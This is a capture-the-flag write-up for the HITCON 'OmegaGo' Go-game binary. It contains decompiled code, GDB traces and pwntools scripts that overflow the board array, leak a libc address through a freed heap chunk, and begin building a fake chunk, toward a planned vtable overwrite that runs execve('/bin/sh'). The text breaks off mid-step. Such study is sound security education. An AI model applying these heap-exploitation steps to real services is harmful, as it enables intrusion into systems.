List


Infomation

Description

Want to fight with AlphaGo? Beat OmegaGo first.
nc 52.198.232.90 31337


Note: The game rule has been simplified to make life easier.

omega_go 
libc.so.6

Related file

Source Code


Write Up

File information

autolycos@ubuntu:~/CTF/HITCON/OmegaGo$ file omega_go_6eef19dbb9f98b67af303f18978914d10d8f06ac 
omega_go_6eef19dbb9f98b67af303f18978914d10d8f06ac: ELF 64-bit LSB  executable, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=6101f150902c6814bd0576f35c60473105a5466e, stripped
autolycos@ubuntu:~/CTF/HITCON/OmegaGo$ checksec.sh --file omega_go_6eef19dbb9f98b67af303f18978914d10d8f06ac 
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FILE
Partial RELRO   Canary found      NX enabled    No PIE          No RPATH   No RUNPATH   omega_go_6eef19dbb9f98b67af303f18978914d10d8f06ac
autolycos@ubuntu:~/CTF/HITCON/OmegaGo$ 

Binary analysis

autolycos@ubuntu:~/CTF/HITCON/OmegaGo$ ./omega_go_6eef19dbb9f98b67af303f18978914d10d8f06ac 
   ABCDEFGHIJKLMNOPQRS
19 ...................
18 ...................
17 ...................
16 ...................
15 ...................
14 ...................
13 ...................
12 ...................
11 ...................
10 .........O.........
 9 ...................
 8 ...................
 7 ...................
 6 ...................
 5 ...................
 4 ...................
 3 ...................
 2 ...................
 1 ...................
Time remain: O: 180.00, X: 180.00

A19
   ABCDEFGHIJKLMNOPQRS
19 X..................
18 ...................
17 ...................
16 ...................
15 ...................
14 ...................
13 ...................
12 ...................
11 ...................
10 .........O.........
 9 ...................
 8 ...................
 7 ...................
 6 ...................
 5 ...................
 4 ...................
 3 ...................
 2 ...................
 1 ..................O
Time remain: O: 180.00, X: 173.38

regret
   ABCDEFGHIJKLMNOPQRS
19 ...................
18 ...................
17 ...................
16 ...................
15 ...................
14 ...................
13 ...................
12 ...................
11 ...................
10 .........O.........
 9 ...................
 8 ...................
 7 ...................
 6 ...................
 5 ...................
 4 ...................
 3 ...................
 2 ...................
 1 ...................
Time remain: O: 180.00, X: 180.00
surrender
This AI is too strong, ah?
Play history? (y/n)
y
   ABCDEFGHIJKLMNOPQRS
19 ...................
18 ...................
17 ...................
16 ...................
15 ...................
14 ...................
13 ...................
12 ...................
11 ...................
10 .........O.........
 9 ...................
 8 ...................
 7 ...................
 6 ...................
 5 ...................
 4 ...................
 3 ...................
 2 ...................
 1 ...................
piece O play at J10
Time remain: O: 180.00, X: 180.00

Play again? (y/n)
y
   ABCDEFGHIJKLMNOPQRS
19 ...................
18 ...................
17 ...................
16 ...................
15 ...................
14 ...................
13 ...................
12 ...................
11 ...................
10 .........O.........
 9 ...................
 8 ...................
 7 ...................
 6 ...................
 5 ...................
 4 ...................
 3 ...................
 2 ...................
 1 ...................
Time remain: O: 180.00, X: 180.00

Struct

struct __attribute__((aligned(8))) Method
{
  void (__fastcall **Play)(Method *a, GameInfo *state, signed int player_number, uint32_t *row, uint32_t *col);
  _QWORD empty;
};
struct GameInfo
{
  _QWORD board[12];
  _DWORD rowNumber;
  _DWORD colNumber;
  _QWORD player;
  double playTimeForAI;
  double playTimeForHuman;
};

Main()

__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  __int64 result; // rax@3
  __int64 v4; // rbx@3
  __int64 v5; // [rsp+8h] [rbp-18h]@1

  v5 = *MK_FP(__FS__, 40LL);
  alarm(0xB4u);
  setvbuf(stdout, 0LL, 2, 0LL);
  while (MainFunction());
  result = 0LL;
  v4 = *MK_FP(__FS__, 40LL) ^ v5;
  return result;
}

MainFunction(0x401738)

__int64 OmegaGo()
{
  Method *AI; // rbx
  Method *HUMAN; // rbx
  unsigned int rowNumber; // [rsp+Ch] [rbp-64h]
  unsigned int colNumber; // [rsp+10h] [rbp-60h]
  int playerNum; // [rsp+14h] [rbp-5Ch]
  double playTime; // [rsp+18h] [rbp-58h]
  struct timeval startTime; // [rsp+20h] [rbp-50h]
  struct timeval endTime; // [rsp+30h] [rbp-40h]
  Method *player[2]; // [rsp+40h] [rbp-30h]
  unsigned __int64 v10; // [rsp+58h] [rbp-18h]

  v10 = __readfsqword(0x28u);
  setDefGameinfo();
  playerNum = 1;
  AI = (Method *)operator new(8uLL);
  AI->Play = 0LL;
  setAIFunction(AI);
  player[0] = AI;
  HUMAN = (Method *)operator new(8uLL);
  HUMAN->Play = 0LL;
  setHUMANFunction(HUMAN);
  player[1] = HUMAN;
  while ( !((unsigned __int8)sub_401202(playerNum, &gPlayerGameInfo) ^ 1) )
  {
    gettimeofday(&startTime, 0LL);
    (*player[playerNum - 1]->Play)(player[playerNum - 1], &gPlayerGameInfo, playerNum, &rowNumber, &colNumber);
    gettimeofday(&endTime, 0LL);
    playTime = (double)(LODWORD(endTime.tv_usec) - LODWORD(startTime.tv_usec)) / 1000000.0
             + (double)(LODWORD(endTime.tv_sec) - LODWORD(startTime.tv_sec));
    if ( rowNumber == -1 || colNumber == -1 )
      break;
    if ( rowNumber != -2 && colNumber != -2 )
    {
      *(double *)&gPlayerGameInfo.board[playerNum - 1 + 14LL] = *(double *)&gPlayerGameInfo.board[playerNum - 1 + 14LL]
                                                              - playTime;
      if ( *(double *)&gPlayerGameInfo.board[playerNum - 1 + 14LL] < 0.0 )
        print("Time's up");
      SetMarkForBoard(&gPlayerGameInfo, rowNumber, colNumber, playerNum, 0);
      playerNum ^= 3u;
    }
    else if ( (unsigned __int8)regret() ^ 1 )
    {
      print("No you cant't");
    }
  }
  CheckResults();
  PlayHistory();
  return PlayAgain();
}

UserInput(HUMAN→Play(0x405020)→0x402C12)

unsigned __int64 __fastcall UserInput(__int64 a1, GameInfo *gameInfo, __int64 playerNum, signed int *row, signed int *col)
{
  bool areaOverflow; // al
  char chCol; // [rsp+37h] [rbp-9h]
  unsigned __int64 v10; // [rsp+38h] [rbp-8h]

  v10 = __readfsqword(0x28u);
  callPrintBoard(gameInfo);
  memset(cmd, 0, 0xCuLL);
  if ( scanf("%10s", cmd) != 1 )
    print("Er?");
  if ( !strcmp("surrender", cmd) )
  {
    *col = -1;
    *row = *col;
  }
  else if ( !strcmp("regret", cmd) )
  {
    *col = -2;
    *row = *col;
  }
  else
  {
    if ( sscanf(cmd, "%c%d", &chCol, row) != 2 )
      print("Input like 'A19'");
    *col = chCol - 65;
    *row = 19 - *row;
    areaOverflow = (unsigned __int8)checkBoardArea(*row) ^ 1 || (unsigned __int8)checkBoardArea(*col) ^ 1;
    if ( areaOverflow )
      print("No overflow plz.");
  }
  return __readfsqword(0x28u) ^ v10;
}

regret()

signed __int64 __cdecl regret()
{
  GameInfo *history; // rax

  if ( historyCnt <= 1 )
    return 0LL;
  DeletePlayHistory();                          // AI play history
  DeletePlayHistory();                          // Human play history
  if ( ::gHistory[historyCnt - 1] )
  {
    history = (GameInfo *)::gHistory[historyCnt - 1];
    gPlayerGameInfo.board[0] = history->board[0];
    gPlayerGameInfo.board[1] = history->board[1];
    gPlayerGameInfo.board[2] = history->board[2];
    gPlayerGameInfo.board[3] = history->board[3];
    gPlayerGameInfo.board[4] = history->board[4];
    gPlayerGameInfo.board[5] = history->board[5];
    gPlayerGameInfo.board[6] = history->board[6];
    gPlayerGameInfo.board[7] = history->board[7];
    gPlayerGameInfo.board[8] = history->board[8];
    gPlayerGameInfo.board[9] = history->board[9];
    gPlayerGameInfo.board[10] = history->board[10];
    gPlayerGameInfo.board[11] = history->board[11];
    *(_QWORD *)&gPlayerGameInfo.rowNumber = *(_QWORD *)&history->rowNumber;
    gPlayerGameInfo.player = history->player;
    gPlayerGameInfo.playTimeFor[0] = history->playTimeFor[0];
    gPlayerGameInfo.playTimeFor[1] = history->playTimeFor[1];
  }
  return 1LL;
}

DeletePlayHistory

unsigned __int64 DeletePlayHistory()
{
  __int64 v1; // [rsp+0h] [rbp-10h]
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  if ( gHistory[historyCnt - 1] )
  {
    v1 = sub_401EB6((GameInfo *)gHistory[historyCnt - 1]);
    operator delete(gHistory[historyCnt - 1]);
    sub_402FE6(&unk_607220, &v1);
    --historyCnt;
  }
  return __readfsqword(0x28u) ^ v2;
}

SetMarkForBoard

signed __int64 __fastcall SetMarkForBoard(GameInfo *gameinfo, unsigned int inputRow, unsigned int inputCol, int player, unsigned __int8 printOpt)
{
  signed __int64 result; // rax
  signed int mark; // eax MAPDST
  bool v7; // al
  GameInfo *historyCount; // rax
  GameInfo *saveGameInfo; // ST30_8
  signed int i; // [rsp+24h] [rbp-2Ch]
  unsigned int row; // [rsp+28h] [rbp-28h]
  unsigned int col; // [rsp+2Ch] [rbp-24h]

  if ( (unsigned __int8)GetMarkForBoard((__int64)gameinfo, inputRow, inputCol) == '.' )
  {
    if ( player == 1 )
      mark = 'O';
    else
      mark = 'X';
    saveMarkofBoard((__int64)gameinfo, inputRow, inputCol, mark);
    gameinfo->rowNumber = inputRow;
    gameinfo->colNumber = inputCol;
    for ( i = 0; i <= 3; ++i )
    {
      row = dword_404FE0[i] + inputRow;
      col = dword_404FF0[i] + inputCol;
      v7 = (unsigned __int8)CheckBoardArea(row) ^ 1 || (unsigned __int8)CheckBoardArea(col) ^ 1;
      if ( !v7
        && (char)GetMarkForBoard((__int64)gameinfo, row, col) == 0xA7 - mark
        && (unsigned int)checkLocation((__int64)gameinfo, row, col) == 0 )
      {
        sub_4024C2((__int64)gameinfo, row, col);
      }
    }
    if ( (unsigned int)checkLocation((__int64)gameinfo, inputRow, inputCol) == 0 )
    {
      if ( !printOpt )
        print("Why you do this :((");
      result = 0LL;
    }
    else if ( (unsigned __int8)sub_402528((__int64)gameinfo, printOpt) )
    {
      if ( !printOpt )
        print("Wanna Ko Fight?");
      result = 0LL;
    }
    else
    {
      if ( printOpt != 1 )
      {
        LODWORD(gameinfo->player) = mark;
        historyCount = (GameInfo *)operator new(0x80uLL);
        *historyCount = *gameinfo;
        saveGameInfo = historyCount;
        LODWORD(historyCount) = gHistoryCount++;
        gHistory[(signed int)historyCount] = saveGameInfo;
      }
      result = 1LL;
    }
  }
  else
  {
    if ( !printOpt )
      print("You cheater!");
    result = 0LL;
  }
  return result;
}

Debuging

Overflow

from pwn import *

#context.log_level = 'debug'

col_list = ['A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S']

p = process('omega_go_6eef19dbb9f98b67af303f18978914d10d8f06ac')

def Play(location):
	p.recvuntil('\n\n')
	p.sendline(location)


def Fill(colStart, colEnd, row):
	for colNum in range(col_list.index(colStart),col_list.index(colEnd)+1):
		locate = str(col_list[colNum])
		locate += str(row)
		Play(locate)


Fill('B','S',11)
for count in reversed(range(1,9)):
    Fill('A','S',count)
Fill('A','A',11)
Fill('A','K',12)


p.interactive()
lazenca0x0@ubuntu:~/CTF/HITCON/OmegaGo$ gdb -q -p 3491
Attaching to process 3491

gdb-peda$ x/gx 0x609FC0
0x609fc0:	0x0000000000b94da0
gdb-peda$ x/10gx 0x609FC0
0x609fc0:	0x0000000000b94da0	0x0000000000000000
0x609fd0:	0x0000000000000000	0x0000000000000000
0x609fe0:	0xaaaa0000aaaaa800	0x50000100002aaaaa
0x609ff0:	0x5554000155555555	0x0000000000000055
0x60a000:	0x0000000000000000	0x0000000000000000
lazenca0x0@ubuntu:~/CTF/HITCON/OmegaGo$ python test.py 
[!] Cold not find executable 'omega_go_6eef19dbb9f98b67af303f18978914d10d8f06ac' in $PATH, using './omega_go_6eef19dbb9f98b67af303f18978914d10d8f06ac' instead
[+] Starting local process './omega_go_6eef19dbb9f98b67af303f18978914d10d8f06ac': pid 3491
[*] Switching to interactive mode
   ABCDEFGHIJKLMNOPQRS
19 ..XXO\x00.OOX\x00X.......
18 ...................
17 ...................
16 ...................
15 ...................
14 ...................
13 ...................
12 XXXXXXXXXXX........
11 XXXXXXXXXXXXXXXXXXX
10 .........O.........
 9 OOOOOOOOOOOOOOOOOOO
 8 ........OOOOOOOOOOO
 7 ...................
 6 ...................
 5 ...................
 4 ...................
 3 ...................
 2 ...................
 1 ...................
Time remain: O: 180.00, X: 179.84

$  

Decode

lazenca0x0@ubuntu:~/CTF/HITCON/OmegaGo$ gdb -q ./omega*
Reading symbols from ./omega_go_6eef19dbb9f98b67af303f18978914d10d8f06ac...(no debugging symbols found)...done.
gdb-peda$ r
Starting program: /home/lazenca0x0/CTF/HITCON/OmegaGo/omega_go_6eef19dbb9f98b67af303f18978914d10d8f06ac 

...Print board...
Time remain: O: 180.00, X: 180.00

A19

...Print board...
Time remain: O: 180.00, X: 171.04

^C
Program received signal SIGINT, Interrupt.

gdb-peda$ x/12gx 0x609FC0
0x609fc0:	0x0000000000000002	0x0000000000000000
0x609fd0:	0x0000000000000000	0x0000000000000000
0x609fe0:	0x0000000000000000	0x0000010000000000
0x609ff0:	0x0000000000000000	0x0000000000000000
0x60a000:	0x0000000000000000	0x0000000000000000
0x60a010:	0x0000000000000000	0x0000000000010000
gdb-peda$ 
   ABCDEFGHIJKLMNOPQRS
19 XXXXXXXXXXXXXXXXXXX
18 ...................
17 ...................
16 ...................
15 ...................
14 ...................
13 ...................
12 ...................
11 ...................
10 .........O.........
 9 ...................
 8 ...................
 7 ...................
 6 ...................
 5 ...................
 4 ...................
 3 ...................
 2 ...................
 1 OOOOOOOOOOOOOOOOOOO
Time remain: O: 180.00, X: 141.02

^C
Program received signal SIGINT, Interrupt.
0x00007ffff75e66b0 in __read_nocancel () at ../sysdeps/unix/syscall-template.S:81
81	../sysdeps/unix/syscall-template.S: No such file or directory.
gdb-peda$  x/12gx 0x609FC0
0x609fc0:	0x0000002aaaaaaaaa	0x0000000000000000
0x609fd0:	0x0000000000000000	0x0000000000000000
0x609fe0:	0x0000000000000000	0x0000010000000000
0x609ff0:	0x0000000000000000	0x0000000000000000
0x60a000:	0x0000000000000000	0x0000000000000000
0x60a010:	0x5555500000000000	0x0000000000015555
gdb-peda$ 

Mark /

Player

X / O

X. / O.

XX / OO

bithexbithexbithex

AI

10

0x2

10000x8

1010

0xA

Humman

01

0x1

01000x4

0101

0x5
def decode(offset):
    bit_offset = offset * 8
    data = ''.join(board)
    result = 0
    for i in xrange(32):
        states = '.OX\0'
        val = states.index(data[bit_offset + i])
        result |= val << (i * 2)
    return result

공격방식 설정

  1. Leak Libc Address
  2. Overwrite the Computer Class
  3. Overwrite the vtable
  1. LeakLibcAddress
    1. Overwrites gameInfo data
    2. Heap address change
    3. Deletes the allocated heap memory.
  2. Overwrite the Computer Class
    1. Memory reallocation
    2. Fake chunk
    3. Heap address change
    4. Deletes the allocated heap memory.
  3. Overwrite the vtable
    1. execve("/bin/sh")
  • Leak libc address
  • Fake chunk
  • execve("/bin/sh")

공격에 필요한 정보 수집

Leak Libc address

lazenca0x0@ubuntu:~/CTF/HITCON/OmegaGo$ gdb -q -p 4155
Attaching to process 4155
Reading symbols from /home/lazenca0x0/CTF/HITCON/OmegaGo/omega_go_6eef19dbb9f98b67af303f18978914d10d8f06ac...(no debugging symbols found)...done.
Reading symbols from /usr/lib/x86_64-linux-gnu/libstdc++.so.6...(no debugging symbols found)...done.
Reading symbols from /lib/x86_64-linux-gnu/libgcc_s.so.1...(no debugging symbols found)...done.
Reading symbols from /lib/x86_64-linux-gnu/libc.so.6...Reading symbols from /usr/lib/debug//lib/x86_64-linux-gnu/libc-2.23.so...done.
done.
Reading symbols from /lib/x86_64-linux-gnu/libm.so.6...Reading symbols from /usr/lib/debug//lib/x86_64-linux-gnu/libm-2.23.so...done.
done.
Reading symbols from /lib64/ld-linux-x86-64.so.2...Reading symbols from /usr/lib/debug//lib/x86_64-linux-gnu/ld-2.23.so...done.
done.
gdb-peda$ x/gx 0x609fc0
0x609fc0:	0x00000000011d4e30
gdb-peda$ c
Continuing.
lazenca0x0@ubuntu:~/CTF/HITCON/OmegaGo$ python test.py 

[!] Could not find executable 'omega_go_6eef19dbb9f98b67af303f18978914d10d8f06ac' in $PATH, using './omega_go_6eef19dbb9f98b67af303f18978914d10d8f06ac' instead
[+] Starting local process './omega_go_6eef19dbb9f98b67af303f18978914d10d8f06ac': pid 4155
[*] Switching to interactive mode
   ABCDEFGHIJKLMNOPQRS

...Print board...

Time remain: O: 180.00, X: 179.85

$ D19
   ABCDEFGHIJKLMNOPQRS

...Print board...
Time remain: O: 180.00, X: 145.32

$c
Continuing.
^C      
Program received signal SIGINT, Interrupt.
0x00007fcd3fc8d230 in __read_nocancel () at ../sysdeps/unix/syscall-template.S:84
84	in ../sysdeps/unix/syscall-template.S
gdb-peda$ x/gx 0x609fc0
0x609fc0:	0x00000000011d4eb0
gdb-peda$ x/gx 0x00000000011d4eb0
0x11d4eb0:	0x0000000000000000
gdb-peda$ 
(gdb) x/12gx 0x609FC0 - 0x10
0x609fb0: 0x000000000201a000 0x000000000201a0c0
0x609fc0: 0x000000000201a180 0x0000000000000000
0x609fd0: 0x0000000000000000 0x0000000000000000
0x609fe0: 0xaaaa0000aaaaa800 0x50000100002aaaaa
0x609ff0: 0x5554000155555555 0x0000000000000055
0x60a000: 0x0000000000000000 0x0000000000000000


(gdb) x/18gx 0x000000000201a0c0
0x201a0c0:	0x0000000000000000	0x0000000000000000
0x201a0d0:	0x0000000000000000	0x0000000000000000
0x201a0e0:	0xaaaa0000aaaaa800	0x50000100002aaaaa
0x201a0f0:	0x5550000155555555	0x0000000000000055
0x201a100:	0x0000000000000000	0x0000000000000000
0x201a110:	0x0000000000000000	0x0000000000000000
0x201a120:	0x0000000a00000007	0x0000000000000058
0x201a130:	0x40667fdc209246b8	0x40666f6b9e492bc5
0x201a140:	0x0000000000000000	0x0000000000000031
(gdb) c
Continuing.

regret


^C
Program received signal SIGINT, Interrupt.
0x00007fd2577016b0 in __read_nocancel () at ../sysdeps/unix/syscall-template.S:81
81	in ../sysdeps/unix/syscall-template.S
(gdb) x/18gx 0x0000000001ca40c0
0x1ca40c0:	0x00007fd2579d47b8	0x00007fd2579d47b8
0x1ca40d0:	0x0000000000000000	0x0000000000000000
0x1ca40e0:	0xaaaa0000aaaaa800	0x50000100002aaaaa
0x1ca40f0:	0x5550000155555555	0x0000000000000055
0x1ca4100:	0x0000000000000000	0x0000000000000000
0x1ca4110:	0x0000000000000000	0x0000000000000000
0x1ca4120:	0x0000000a00000007	0x0000000000000058
0x1ca4130:	0x40667fe2174c4cdb	0x406670861e92923f
0x1ca4140:	0x0000000000000090	0x0000000000000030
(gdb) info proc map
process 4778
Mapped address spaces:
          Start Addr           End Addr       Size     Offset objfile
            0x400000           0x407000     0x7000        0x0 /home/autolycos/CTF/HITCON/OmegaGo/omega_go_6eef19dbb9f98b67af303f18978914d10d8f06ac
            0x606000           0x607000     0x1000     0x6000 /home/autolycos/CTF/HITCON/OmegaGo/omega_go_6eef19dbb9f98b67af303f18978914d10d8f06ac
            0x607000           0x608000     0x1000     0x7000 /home/autolycos/CTF/HITCON/OmegaGo/omega_go_6eef19dbb9f98b67af303f18978914d10d8f06ac
            0x608000           0x60b000     0x3000        0x0 
           0x1c93000          0x1cb4000    0x21000        0x0 [heap]
      0x7fd257310000     0x7fd257415000   0x105000        0x0 /lib/x86_64-linux-gnu/libm-2.19.so
      0x7fd257415000     0x7fd257614000   0x1ff000   0x105000 /lib/x86_64-linux-gnu/libm-2.19.so
      0x7fd257614000     0x7fd257615000     0x1000   0x104000 /lib/x86_64-linux-gnu/libm-2.19.so
      0x7fd257615000     0x7fd257616000     0x1000   0x105000 /lib/x86_64-linux-gnu/libm-2.19.so
      0x7fd257616000     0x7fd2577d0000   0x1ba000        0x0 /lib/x86_64-linux-gnu/libc-2.19.so
      0x7fd2577d0000     0x7fd2579d0000   0x200000   0x1ba000 /lib/x86_64-linux-gnu/libc-2.19.so
      0x7fd2579d0000     0x7fd2579d4000     0x4000   0x1ba000 /lib/x86_64-linux-gnu/libc-2.19.so
      0x7fd2579d4000     0x7fd2579d6000     0x2000   0x1be000 /lib/x86_64-linux-gnu/libc-2.19.so
      0x7fd2579d6000     0x7fd2579db000     0x5000        0x0 
      0x7fd2579db000     0x7fd2579f1000    0x16000        0x0 /lib/x86_64-linux-gnu/libgcc_s.so.1
      0x7fd2579f1000     0x7fd257bf0000   0x1ff000    0x16000 /lib/x86_64-linux-gnu/libgcc_s.so.1
      0x7fd257bf0000     0x7fd257bf1000     0x1000    0x15000 /lib/x86_64-linux-gnu/libgcc_s.so.1
      0x7fd257bf1000     0x7fd257cd7000    0xe6000        0x0 /usr/lib/x86_64-linux-gnu/libstdc++.so.6.0.19
      0x7fd257cd7000     0x7fd257ed6000   0x1ff000    0xe6000 /usr/lib/x86_64-linux-gnu/libstdc++.so.6.0.19
      0x7fd257ed6000     0x7fd257ede000     0x8000    0xe5000 /usr/lib/x86_64-linux-gnu/libstdc++.so.6.0.19
      0x7fd257ede000     0x7fd257ee0000     0x2000    0xed000 /usr/lib/x86_64-linux-gnu/libstdc++.so.6.0.19
      0x7fd257ee0000     0x7fd257ef5000    0x15000        0x0 
      0x7fd257ef5000     0x7fd257f18000    0x23000        0x0 /lib/x86_64-linux-gnu/ld-2.19.so
      0x7fd2580f8000     0x7fd2580fd000     0x5000        0x0 
      0x7fd258114000     0x7fd258117000     0x3000        0x0 
      0x7fd258117000     0x7fd258118000     0x1000    0x22000 /lib/x86_64-linux-gnu/ld-2.19.so
      0x7fd258118000     0x7fd258119000     0x1000    0x23000 /lib/x86_64-linux-gnu/ld-2.19.so
      0x7fd258119000     0x7fd25811a000     0x1000        0x0 
      0x7ffe6668e000     0x7ffe666af000    0x21000        0x0 [stack]
      0x7ffe66744000     0x7ffe66746000     0x2000        0x0 [vvar]
      0x7ffe66746000     0x7ffe66748000     0x2000        0x0 [vdso]
  0xffffffffff600000 0xffffffffff601000     0x1000        0x0 [vsyscall]
(gdb) p/x 0x00007fd2579d47b8 - 0x7fd257616000
$1 = 0x3be7b8
(gdb) x/12gx 0x609FC0
0x609fc0:	0x000000000105e200	0x0000000000000000
0x609fd0:	0x0000000000000000	0x0000000000000000
0x609fe0:	0xaaaa0000aaaaa800	0x50000100002aaaaa
0x609ff0:	0x5554000155555555	0x0000000000000055
0x60a000:	0x0000000000000000	0x0000000000000000
0x60a010:	0x0000000000000000	0x0000000000000000
(gdb) b *0x4016C9
Breakpoint 1 at 0x4016c9
(gdb) b *0x4017FC
Breakpoint 2 at 0x4017fc
(gdb) c
Continuing.

Breakpoint 2, 0x00000000004017fc in ?? ()
(gdb) c
Continuing.

//D19
Breakpoint 2, 0x00000000004017fc in ?? ()
(gdb) x/12gx 0x609FC0
0x609fc0:	0x000000000105e280	0x000000000105e2c0
0x609fd0:	0x000000000105e380	0x0000000000000000
0x609fe0:	0xaaaa0000aaaaa800	0x50000100002aaaaa
0x609ff0:	0x5554000155555555	0x0000000000000055
0x60a000:	0x0000000000000000	0x0000000000000000
0x60a010:	0x0000000000000000	0x0000000000000400
(gdb) c
Continuing.

//regret
Breakpoint 2, 0x00000000004016c5 in ?? ()
(gdb) x/2i $rip
=> 0x4016c5:	mov    0x40(%rax),%rdx
   0x4016c9:	mov    %rdx,0x208930(%rip)        # 0x60a000
(gdb) set disassembly-flavor intel 
(gdb) x/2i $rip
=> 0x4016c5:	mov    rdx,QWORD PTR [rax+0x40]
   0x4016c9:	mov    QWORD PTR [rip+0x208930],rdx        # 0x60a000
(gdb) i r rax
rax            0xdd5280	14504576
(gdb) x/18gx 0xdd5280
0xdd5280:	0x0000000000000000	0x0000000000000031
0xdd5290:	0x0000000000dd5340	0x0000000000dcd3d0
0xdd52a0:	0x0000000000000000	0x0000000000000000
0xdd52b0:	0x240b2f4828c52f0b	0x0000000000000091
0xdd52c0:	0x00007fcad9e447b8	0x00007fcad9e447b8
0xdd52d0:	0x0000000000000000	0x0000000000000000
0xdd52e0:	0xaaaa0000aaaaa800	0x50000100002aaaaa
0xdd52f0:	0x5554000155555555	0x0000000000000055
0xdd5300:	0x0000000000000000	0x0000000000000000
(gdb) x/gx 0xdd5280 + 0x40
0xdd52c0:	0x00007fcad9e447b8
(gdb) ni
0x00000000004016c9 in ?? ()
(gdb)  i r rip
rip            0x4016c9	0x4016c9
(gdb) p/x 0x208930 + 0x4016c9
$1 = 0x609ff9
(gdb) x/12gx 0x609FC0
0x609fc0:	0x0000000000000000	0x0000000000000031
0x609fd0:	0x0000000000dd5340	0x0000000000dcd3d0
0x609fe0:	0x0000000000000000	0x0000000000000000
0x609ff0:	0x240b2f4828c52f0b	0x0000000000000091
0x60a000:	0x0000000000000000	0x0000000000000000
0x60a010:	0x0000000000000000	0x0000000000000400
(gdb) ni
0x00000000004016d0 in ?? ()
(gdb) x/12gx 0x609FC0
0x609fc0:	0x0000000000000000	0x0000000000000031
0x609fd0:	0x0000000000dd5340	0x0000000000dcd3d0
0x609fe0:	0x0000000000000000	0x0000000000000000
0x609ff0:	0x240b2f4828c52f0b	0x0000000000000091
0x60a000:	0x00007fcad9e447b8	0x0000000000000000
0x60a010:	0x0000000000000000	0x0000000000000400
(gdb) p/x 0x208930 + 0x4016d0
$2 = 0x60a000
from pwn import *

#context.log_level = 'debug'

col_list = ['A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S']

p = process('omega_go_6eef19dbb9f98b67af303f18978914d10d8f06ac')

def Play(location):
	p.recvuntil('\n\n')
	p.sendline(location)

def surrender():
    p.recvuntil('\n\n')
    p.sendline('surrender')
    p.recvuntil('Play history? (y/n)')
    p.sendline('n')
    p.recvuntil('Play again? (y/n)')
    p.sendline('y')

def Fill(colStart, colEnd, row):
    for colNum in range(col_list.index(colStart),col_list.index(colEnd)+1):
	locate = str(col_list[colNum])
	locate += str(row)
	Play(locate)

def readBoard():
    global board
    board = []
    p.recvline()
    for line in range(0,19):
	p.recv(3)
        board.append(p.recvuntil('\n')[0:19])

def decode(offset):
    bit_offset = offset * 8
    data = ''.join(board)
    result = 0
    for i in xrange(32):
        states = '.OX\0'
        val = states.index(data[bit_offset + i])
        result |= val << (i * 2)
	#print str(result) + ' |= ' + str(val) + ' << (' + str(i) + '* 2)'
    return result

def LeakLibcAddress():
    readBoard()
    return decode(32)

#Memory reconstruction   
surrender()
surrender()
 
#Fill out to board
Fill('B','S',11)
for count in reversed(range(1,9)):
    Fill('A','S',count)
Fill('A','A',11)
Fill('A','K',12)

#Leak LibcAddress
p.recvuntil('\n\n')
p.sendline('D19')
#sleep(20)
p.recvuntil('\n\n')
p.sendline('regret')

libcAddress = LeakLibcAddress()
libcBaseAddress = libcAddress - 0x3be7b8
 
log.info('Libc Address : ' + hex(libcAddress))
log.info('Libc Base Address : ' + hex(libcBaseAddress))

p.interactive()

Fake chunk


0x00x8
0x00

0000000000000000

0000000000000000
0x1000000000000000000000000000000020
0x2000000000000000000000010000000000
0x3000000000000000000000000000000020
0x4000000000000000000000000000000000
0x5000000000000000000000000000000000
0x600000000900000009000000000000004F
0x7040665799D0203E644066800000000000
0x8000000000000000000000000000000031
(gdb) b *0x401761
Breakpoint 1 at 0x401761
(gdb) b *0x4017FC
Breakpoint 2 at 0x4017fc
(gdb) x/12gx 0x609FC0
0x609fc0:	0x0000000000000000	0x0000000000000000
0x609fd0:	0x0000000000000000	0x0000000000000000
0x609fe0:	0xaaaa000000000000	0x50000100002aaaaa
0x609ff0:	0x0000000155555555	0x0000000000000000
0x60a000:	0x0000000000000000	0x0000000000000000
0x60a010:	0x0000000000000000	0x0000000000000000
(gdb) c
Continuing.

Breakpoint 2, 0x00000000004017fc in ?? ()
(gdb) x/12gx 0x609FC0
0x609fc0:	0x0000000000000000	0x0000000000000000
0x609fd0:	0x0000000000000000	0x0000000000000020
0x609fe0:	0xaaaa000000000000	0x50000100002aaaaa
0x609ff0:	0x0000000155555555	0x0000000000000000
0x60a000:	0x0000000000000000	0x0000000000000000
0x60a010:	0x0000000000000000	0x0000000000000000
(gdb) c
Continuing.

Breakpoint 2, 0x00000000004017fc in ?? ()
(gdb) x/12gx 0x609FC0
0x609fc0:	0x0000000000000000	0x0000000000000000
0x609fd0:	0x0000000000000000	0x0000000000000020
0x609fe0:	0xaaaa000000000000	0x50000100002aaaaa
0x609ff0:	0x0000000155555555	0x0000000000000000
0x60a000:	0x0000000000001000	0x0000000000000000
0x60a010:	0x0000000000000000	0x0000000000000000
(gdb) c
Continuing.

Breakpoint 2, 0x00000000004017fc in ?? ()
(gdb) x/12gx 0x609FC0
0x609fc0:	0x0000000000000000	0x0000000000000000
0x609fd0:	0x0000000000000000	0x0000000000000020
0x609fe0:	0xaaaa000000000000	0x50000100002aaaaa
0x609ff0:	0x0000000155555555	0x0000000000000020
0x60a000:	0x0000000000001000	0x0000000000000000
0x60a010:	0x0000000000000000	0x0000000000000000
(gdb) c
Continuing.

... fill out ...

Breakpoint 2, 0x00000000004017fc in ?? ()
(gdb) x/12gx 0x609FC0
0x609fc0:	0x0000000000707410	0x0000000000000000
0x609fd0:	0x0000000000000000	0x0000000000000020
0x609fe0:	0xaaaa000000001000	0x555555aaaaaaaaaa
0x609ff0:	0x0000000155555555	0x0000000000000020
0x60a000:	0x0000000000001000	0x0000000000000000
0x60a010:	0x0000000000000000	0x0000000000000000
(gdb) c
Continuing.

Breakpoint 2, 0x00000000004017fc in ?? ()
(gdb) x/12gx 0x609FC0
0x609fc0:	0x0000000000707410	0x00000000007074a0
0x609fd0:	0x0000000000000000	0x0000000000000020
0x609fe0:	0xaaaa000000001000	0x555555aaaaaaaaaa
0x609ff0:	0x0000000155555555	0x0000000000000020
0x60a000:	0x0000000000001000	0x0000000000000000
0x60a010:	0x0000000000000000	0x0000000000000800

(gdb) x/18gx 0x0000000000707410
0x0707410:	0x0000000000000000	0x0000000000000000
